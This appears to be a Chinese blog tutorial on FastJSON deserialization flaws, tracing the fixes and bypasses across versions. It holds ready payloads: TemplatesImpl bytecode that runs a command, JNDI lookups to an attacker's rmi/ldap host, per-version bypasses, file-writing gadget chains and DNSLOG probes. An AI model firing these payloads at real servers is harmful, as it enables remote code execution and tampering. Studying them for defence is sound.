浅析FastJSON反序列化漏洞
目录
FastJSON 简介
FastJson 是一个由阿里巴巴研发的java库,可以把java对象转换为JSON格式,也可以把JSON字符串转换为对象。
https://github.com/alibaba/fastjson 👈项目地址
“自2017年3月15日,fastjson官方主动爆出其在1.2.24
及之前版本存在远程代码执行高危安全漏洞以来,各种新型绕过姿势层出不穷。“——c014
FASTJSON咋用
答案:直接POM导入,方便地一批
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>x.x.xx</version>
</dependency>
</dependencies>
import com.alibaba.fastjson.JSON
fastjson有两种常见的处理JSON的方法
JSON.toJSONString()
方法:可将对象转换成JSON
字符串JSON.parseObject()
方法:将JSON
字符串转换成对象。
下面看一波实例:创建一个对象,将其转为JSON,然后再转回对象。 同时可以发现,在JSON序列化时,会调用类的getxxx方法;在JSON反序列化时,会调用类的构造方法
public class App
{
public static class User{
private String id;
User(){
System.out.println("User go");
}
public void setId(String ids){
System.out.println("setId go");
this.id=ids;
}
public String getId(){
System.out.println("GetId go");
return this.id;
}
}
public static void main(String[] args){
User a = new User();
String json = JSON.toJSONString(a);
System.out.println(json);
System.out.println(JSON.parseObject(json,User.class));
}
}
User go
GetId go
{}
User go
org.example.App$User@36d4b5c
FASTJSON 反序列化漏洞起源
我们可以看到,把JSON反序列化的语句是 JSON.parseObject(json,User.class),在指定JSON时,还需要指定其所属的类,显得代码就很臃肿,所以开发人员可以使用@type(autotype)字符段来使其不那么臃肿。 像下面这样,在JSON通过指定@type的值来实现定位某类。
JSON.parseObject("{\"@type\":\"org.example.App$User\",\"id\":\"123\"}")
虽说这么做很方便,但是以这种方法进行反序列化,会执行类的构造方法和属性相关的get,set方法。
public class App
{
public static class User{
private String id;
User(){
System.out.println("User go");
}
public void setId(String ids){
System.out.println("setId go");
this.id=ids;
}
public String getId(){
System.out.println("GetId go");
return this.id;
}
}
public static void main(String[] args){
System.out.println(JSON.parseObject("{\"@type\":\"org.example.App$User\",\"id\":\"123\"}"));
}
}
User go
setId go
GetId go
{"id":"123"}
所以在这个JSON反序列化接口处,我们传入恶意的JSON,就可以调用任意类的构造方法以及属性相关的get,set方法。 如果某类的相关方法里有危险的代码(如执行某个命令),我们就可以构造恶意JSON达到RCE的作用。
另外,JSON.parseObject("{"@type":"org.example.App\$User","id":"123"}",Feature.SupportNonPublicField) ,可以直接为private成员赋值(不加Feature.SupportNonPublicField是无法对private成员赋值的)。虽然但是,即使是private属性,如果它有getter或setter那么它的getter和setter依旧会被调用。
demo
public static class User{
private String id;
User(){
System.out.println("User go");
}
}
public static void main(String[] args){
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
User a = JSON.parseObject("{\"@type\":\"com.exp.Main.Main$User\",\"id\":\"123\"}",User.class);
System.out.println(a.id);
User b = JSON.parseObject("{\"@type\":\"com.exp.Main.Main$User\",\"id\":\"123\"}",User.class,Feature.SupportNonPublicField);
System.out.println(b.id);
}
User go
null
User go
123
各版本复现
1.2.24
TemplatesImpl
是的,就是7U21链里面的TemplatesImplcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
这个类本身就存在反序列化漏洞,会将成员变量_bytecodes的数据作为类的字节码进行newInsantce操作从而调用其构造方法或static块。故可以fastjson为契机去调用此类。 但是由于_name 和_bytecodes 是私有属性,所以需要FASTJSON反序列化接口有Feature.SupportNonPublicField参数才能实现,利用条件很苛刻,但是条件允许的话就很方便,payload打过去就完事。
“_tfactory这个字段在TemplatesImpl既没有get方法也没有set方法,这没关系,我们设置_tfactory为{ },fastjson会调用其无参构造函数得_tfactory对象,这样就解决了某些版本中在defineTransletClasses()用到会引用_tfactory属性导致异常退出。"
payload
{
"@type" : "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes" : ["yv66vgAAADQAPQoADQAcCQAdAB4IAB8KACAAIQcAIggAIwoAJAAlCgAkACYKACcAKAcAKQoACgAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwApAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQwADgAPBwAuDAAvADABAAVQd25lZAcAMQwAMgAzAQAQamF2YS9sYW5nL1N0cmluZwEABGNhbGMHADQMADUANgwANwA4BwA5DAA6ADsBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAA8AA8BABJ0ZXN0X2Zhc3Rqc29uL0V2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA2VycgEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEAB3dhaXRGb3IBAAMoKUkBAA9wcmludFN0YWNrVHJhY2UAIQAMAA0AAAAAAAQAAQAOAA8AAQAQAAAAHQABAAEAAAAFKrcAAbEAAAABABEAAAAGAAEAAAAJAAEAEgATAAIAEAAAABkAAAADAAAAAbEAAAABABEAAAAGAAEAAAAXABQAAAAEAAEAFQABABIAFgACABAAAAAZAAAABAAAAAGxAAAAAQARAAAABgABAAAAHAAUAAAABAABABUACAAXAA8AAQAQAAAAawAEAAEAAAAmsgACEgO2AAQEvQAFWQMSBlNLuAAHKrYACLYACVenAAhLKrYAC7EAAQAIAB0AIAAKAAIAEQAAAB4ABwAAAAsACAANABIADgAdABEAIAAPACEAEAAlABIAGAAAAAcAAmAHABkEAAEAGgAAAAIAGw"],
"_name" : "a",
"_tfactory" : {},
"outputProperties" : {}
}
_bytecodes的类长这样,编译生成Evil.class,将字节码读出并用base64加密,作为_bytecodes
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Evil extends AbstractTranslet{
static {
System.err.println("Pwned");
try {
String[] cmd = {"calc"};
java.lang.Runtime.getRuntime().exec(cmd).waitFor();
} catch ( Exception e ) {
e.printStackTrace();
}
}
@Override
public void transform(DOM arg0, SerializationHandler[] arg1) throws TransletException {
// anything
}
@Override
public void transform(DOM arg0, DTMAxisIterator arg1, SerializationHandler arg2) throws TransletException {
// anything
}
}
JdbcRowSetImpl
com.sun.rowset.JdbcRowSetImpl,通过JNDI注入来实现RCE。但需注意JNDI注入有JDK版本限制,高版本需要进行绕过。
我们的payload一般长这样
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi:/ip:port/Exploit","autoCommit":true}
or
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://ip:1099/exp","autoCommit":true}
把这个payload打过去,会执行setAutoCommit(),又setAutoCommit()执行了connct()函数,其如下。 connect()会对dataSourceName属性进行一个InitialContext.lookup(dataSourceName),从而实现JNDI注入。
private Connection connect() throws SQLException {
if(this.conn != null) {
return this.conn;
} else if(this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("")?var2.getConnection(this.getUsername(), this.getPassword()):var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null?DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()):null;
}
}
1.2.25
更新机制
1.2.24及以前版本就跟白纸一样随便打,在1.2.25开始加入了黑白名单机制
我们继续用1.2.24的payload(这里用TemplatesImpl的payload)去打,会发现报错autotype不支持
究其原因,是因为在com.alibaba.fastjson.parser.ParserConfig 加入了CheckAutoType方法
com.alibaba.fastjson.parser.ParserConfig !public Class<?> checkAutoType(String typeName, Class<?> expectClass)
在其中有个autotypesupport属性,如果为false,那么就会检测json中@type的值 开头是否与黑名单中的值一样,若一样就直接返回一个异常,然后加载白名单中的类
if (!autoTypeSupport) {
\\黑名单检测,classname是传入类的全名,denyList是黑名单
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
黑名单长这样
若autotypesupport开启,则会先白名单加载,后黑名单检测
if (autoTypeSupport || expectClass != null) {
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
后面的许多更新都是对checkAutotype以及本身某些逻辑缺陷导致的漏洞进行修复,以及黑名单的不断增加。
bypass 1(L;法)1.2.25-1.2.41
当autoTypeSupport开启或expectClass不为空时,会调用一个loadclass方法
if (this.autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
}
而在其中,若类名以L开头;结尾,则会把这两个字符去掉并加载类。
“至于为什么会有这种奇怪的处理,L 和 ; 这一对字符其实是 JVM 字节码中用来表示类名的:”
if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
所以在autotypesupport开启时,我们可以构造如下payload来bypass
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://ip:1099","autoCommit":true}
如何开启autotypesupport?只需在json被解析前加入如下代码即可
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
bypass 2(json内置)1.2.25-1.2.47
- 1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport反而不能成功触发;
- 1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用;
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://localhost:1389/Exploit",
"autoCommit":true
}
}
1.2.42
更新机制
42版本中开发人员将明文黑名单改成了hash黑名单,已经有人碰撞出了不少,意义不大;在处理25黑名单绕过的时候做了一个校验,如果类名以L
开头,;
结尾,则会用stubstring处理一下(这个判断是由HASH来判断的,看不懂,但我大受震撼):
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
className = className.substring(1, className.length() - 1);
}
bypass(双写绕过)
那么直接一手双写绕过
{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"ldap://127.0.0.1:2357/Command8",
"autoCommit":true
}
1.2.42
更新机制
针对双写绕过套了个子判断。
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {
throw new JSONException("autoType is not support. " + typeName);
}
className = className.substring(1, className.length() - 1);
}
Bypass
TypeUtils.loadClass 中除了对L;进行判断,还有对[进行了判断
} else if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
围绕这个展开,构造如下payload,具体为啥这么构造没有细跟,反正跟[有关
{
"@type" : "[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"[,{
"_bytecodes" : ["yv66vgAAADQAPQoADQAcCQAdAB4IAB8KACAAIQcAIggAIwoAJAAlCgAkACYKACcAKAcAKQoACgAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwApAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQwADgAPBwAuDAAvADABAAVQd25lZAcAMQwAMgAzAQAQamF2YS9sYW5nL1N0cmluZwEABGNhbGMHADQMADUANgwANwA4BwA5DAA6ADsBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAA8AA8BABJ0ZXN0X2Zhc3Rqc29uL0V2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA2VycgEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEAB3dhaXRGb3IBAAMoKUkBAA9wcmludFN0YWNrVHJhY2UAIQAMAA0AAAAAAAQAAQAOAA8AAQAQAAAAHQABAAEAAAAFKrcAAbEAAAABABEAAAAGAAEAAAAJAAEAEgATAAIAEAAAABkAAAADAAAAAbEAAAABABEAAAAGAAEAAAAXABQAAAAEAAEAFQABABIAFgACABAAAAAZAAAABAAAAAGxAAAAAQARAAAABgABAAAAHAAUAAAABAABABUACAAXAA8AAQAQAAAAawAEAAEAAAAmsgACEgO2AAQEvQAFWQMSBlNLuAAHKrYACLYACVenAAhLKrYAC7EAAQAIAB0AIAAKAAIAEQAAAB4ABwAAAAsACAANABIADgAdABEAIAAPACEAEAAlABIAGAAAAAcAAmAHABkEAAEAGgAAAAIAGw"],
"_name" : "a",
"_tfactory" : {},
"outputProperties" : {}
}
1.2.44
更新机制
44版本针对43版本的绕过作了处理,[ 开头或者 L 开头 ; 结尾都会抛出异常
Bypass
JSON内置完美击破
1.2.47-67
更新机制
由于47修复了JSON内置绕过,这些版本里也没啥很好的绕过方法,网上多是从黑名单中结合JNDI注入找漏网之鱼(找到的多为组件类,需要目标机器上有该组件才能打https://paper.seebug.org/1155/)以及expectClass绕过AutoType
1.2.68
68版本之后出现了新的安全控制点safeMode,如果开启,在checkAtuoType的时候会直接抛出异常,只要设置@type类型,想反序列化指定类对象的时候,就会抛异常,也就是说开了safemod的站可以不用看了。 当然这个版本expectClass绕过AutoType是可以打一打的。
Bypass expectClass绕过AutoType <=1.2.68
这里通过一个demo展示一下.
package org.example;
import java.io.IOException;
public class VulAutoCloseable implements AutoCloseable {
public VulAutoCloseable(){
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void close() throws Exception {
}
}
然后我们的payload
public class evil {
public static void main(String[] args){
System.out.println(JSON.parseObject("{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.example.VulAutoCloseable\",\"cmd\":\"calc\"}\n"));
}
}
执行后弹计算器
我们通过调试来看看具体是怎么个回事
调试
于checkautotype 处下断点。
可以发现传入的typename是 AutoCloseable。此时的expectClass是NULL
往下,直接从缓存Mapping可以直接获得此类,
然后直接被return了,甚至没有走autoTypeSupport校验。
clazz被return到了defaultjsonparser里,往下看逻辑可以发现从对clazz进行了一个deserialze方法,跟进
会跟到这里来
往下看,会因为由Autocloseable不能通过getSeeAlso方法成功生成deserializer对象,从而触发第二轮checkAutoType
第二轮传入checkAutoType的参数依次为 第二个@type值,第一个@type值,和一个不重要的lexer.getFeatures()
进来checkAutoType后,会先对exceptclass进行白名单校验,Autocloseable类自然是随便过掉,然后使exceptClassFlag置为true
随后便是一些对typename的黑白名单校验,由于typename是org.example.VulAutoCloseable,不在黑白名单中,所以校验自然都通过了。 以下是依次的校验顺序
黑名单校验
先白后黑,其中所有的Array.binarySearch结果都是0,自然就能通过IF条件
先黑后白
冲破重重考研,typename指定类被传入TypeUtils.loadClass,跟进
会来到这里,VulAutoCloseable的类对象被返回
然后会对这个类对象进行校验,校验是否为ClassLoader、DataSource、RowSet等类的子类,是的话直接抛出异常,这也是过滤大多数JNDI注入Gadget的机制:
然后判断clazz是否是exceptClass的子类,是的话就直接返回类对象。类对象被返回后,就会进入被反序列化的下一个过程,它的构造方法等会被调用,从而完成利用。
实战Gadget
实战中用的payload:
文件移动:将一个文件中的内容移动到新的一个文件中去,原来文件的内容消失。
<dependency> <groupId>org.aspectj</groupId> <artifactId>aspectjtools</artifactId> <version>1.9.5</version></dependency>
{"@type":"java.lang.AutoCloseable", "@type":"org.eclipse.core.internal.localstore.SafeFileOutputStream", "tempPath":"D:/b.txt", "targetPath":"E:/b.txt"}
文件写入
<dependency>
<groupId>com.sleepycat</groupId>
<artifactId>je</artifactId>
<version>5.0.73</version>
</dependency>
<dependency>
<groupId>com.esotericsoftware</groupId>
<artifactId>kryo</artifactId>
<version>4.0.0</version>
</dependency>
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjtools</artifactId>
<version>1.9.5</version>
</dependency>
{
"stream": {
"@type": "java.lang.AutoCloseable",
"@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream",
"targetPath": "D:/wamp64/www/hacked.txt", \\创建一个空文件
"tempPath": "D:/wamp64/www/test.txt"\\创建一个有内容的文件
},
"writer": {
"@type": "java.lang.AutoCloseable",
"@type": "com.esotericsoftware.kryo.io.Output",
"buffer": "cHduZWQ=", \\base64后的文件内容
"outputStream": {
"$ref": "$.stream"
},
"position": 5
},
"close": {
"@type": "java.lang.AutoCloseable",
"@type": "com.sleepycat.bind.serial.SerialOutput",
"out": {
"$ref": "$.writer"
}
}
}
漏洞检测
DNSLOG
{"@type":"java.net.InetAddress","val":"dnslog.cn"} 在49以下才能触发,因为这个gadget在49被禁止了,可用于检测具体版本
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL","val":"dnslog"}]
Set[{"@type":"java.net.URL","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:0
报错检测
运气好可以直接出版本号
{"xxx":"\x+(eyJhIjoiXHgaGiJ9的base64解码)
在60以下才能触发,当后端 Fastjson 版本小于 1.2.60 时,使用该请求包不会延时不会报错,反之则会延迟或报错
绕过异常
有些开发人员在写解析JSON的相关代码时,可能会设置只能传入指定对象。 而我们通过设置@type时传入的对象可能会与指定对象不匹配从而发生type not match的异常。
解决办法是这样,最外层套层对象
{
"xxx": {"@type":"java.net.InetAddress","val":"dnslog"}
}
审计关键字
JSON.parseObject(
参考
https://www.freebuf.com/vuls/228099.html
https://paper.seebug.org/1192/#1225